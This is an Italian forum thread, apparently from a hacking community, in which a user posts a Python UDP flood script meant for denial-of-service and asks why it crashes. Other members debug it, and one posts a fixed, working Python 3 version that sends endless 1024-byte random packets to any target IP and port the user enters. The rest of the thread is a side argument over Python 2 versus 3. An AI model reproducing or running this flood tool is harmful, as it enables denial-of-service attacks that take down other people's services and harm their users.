Domanda Aiuto Dos in python

Stato
Discussione chiusa ad ulteriori risposte.

Giovinazzo17

Utente Bronze
14 Ottobre 2014
12
4
3
42
Ciao ragazzi,
premetto che sono nuovo e sto ancora conoscendo il mondo di inforge,
pertanto vi chiedo scusa se ho sbagliato sezione :)
Vi vorrei chiedere di analizzare il mio codice Dos Udp in python appena creato:

#urs /bin/python
import socket
import random


sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)


bytes=random._urandom(1024)


ip=raw_input('Target IP: ')
port=input('Port: ')


while True:
sock.sendto(bytes,(ip,port))
print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)
sent= sent + 1


Praticamente dopo aver inserito ip e porta mi crasha il programma.
Aiutatemi plz e grazie :)
 
Allora, non possiamo aiutarti se non ci dice che errore ti da l'interprete Python e che versione di Python usi...
 
Se crasha ma non ti da nessun errore, non posso aiutarti, non sono pratico col modulo socket*
 
ehm, se usi windows devi aprire il cmd e spostarti con il comando cd /path nella cartella che contiene il file .py poi col comando "py nome.py" (per 2.x) o semplicemente "nome.py" (per 3.x) e in teoria l'eccezione dovrebbe rimanere a schermo e non scomparire.
 
Scrivilo per python 3.3.4 l versione che stai utilizzando è obsoleta
Stai parlando di Python 2.7.8? :omfg:
Va bene che il futuro é Python 3.x, va bene che (sembra) Python 2.7.8 sia l'ultima release del ramo 2.x, ma ce ne passa a dire che é obsoleta :omfg: Io direi che sarebbe meglio abituarsi a Python 3.x ;)
 
  • Mi piace
Reazioni: seby2000
Grazie emmaFreeze ecco qui l'errore:

Target IP: XXXXXXXXXXX
Port: 80
Traceback (most recent call last):
File "C:\Users\Giovinazzo\Desktop\udp.py", line 14, in <module>
print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)
NameError: name 'sent' is not defined


C:\Users\Giovinazzo\Desktop>
 
Ultima modifica:
Ha dichiarato la variabile 'sent' , penso abbia sbagliato a indentare il codice, sto dal cell e non posso provare il codice...
 
Ultima modifica:
Non sono molto pratico con il python, parlo avendo semplicemente visto diversi codici sorgenti di alcuni applicativi.

L'errore che l'interprete ti da dovrebbe riferirsi al fatto che tu non hai dichiarato/inizializzato la variabile "sent" prima di eseguire questa istruzione:

Codice:
[COLOR=#333333]print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)[/COLOR]


Per risolvere credo basti dichiarare "sent" prima di quell'istruzione e inizializzarla a 0.


- - - Updated - - -
@Giovinazzo17, ho scritto il tuo codice e fatto qualche prova:

* Codice adattato per Python 3.2.3 (la versione che avevo installato tempo addietro)

Codice:
#urs /bin/pythonimport socket
import random

sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

bytes=random._urandom(1024)

ip=input("Target IP: ")
port=eval(input("Port: "))
sent = 0

while True:
    sock.sendto(bytes,(ip, port))
    print("Sent " + str(sent) + " amount of packets to " + ip + " at port " + str(port) + ".")
    sent= sent + 1

spero di esserti stato utile ...
 
  • Mi piace
Reazioni: Giovinazzo17
E' obsoleto. Quindi anche i programmi che usato python 2.x lo sono :\
Chiariamo: io uso sia Python 3.x che Python 2.x, quindi non sono di parte.

É un mio parere personale, per quanto Python 2.x sia giunto alla fine, ci sono software molto validi scritti in Python 2.x per cui é in atto magari una conversione a Python 3.x.

Comunque ho capito alla fine cosa intendete, e si, possiamo dire che sarebbe meglio passare a Python 3.x
 
Stato
Discussione chiusa ad ulteriori risposte.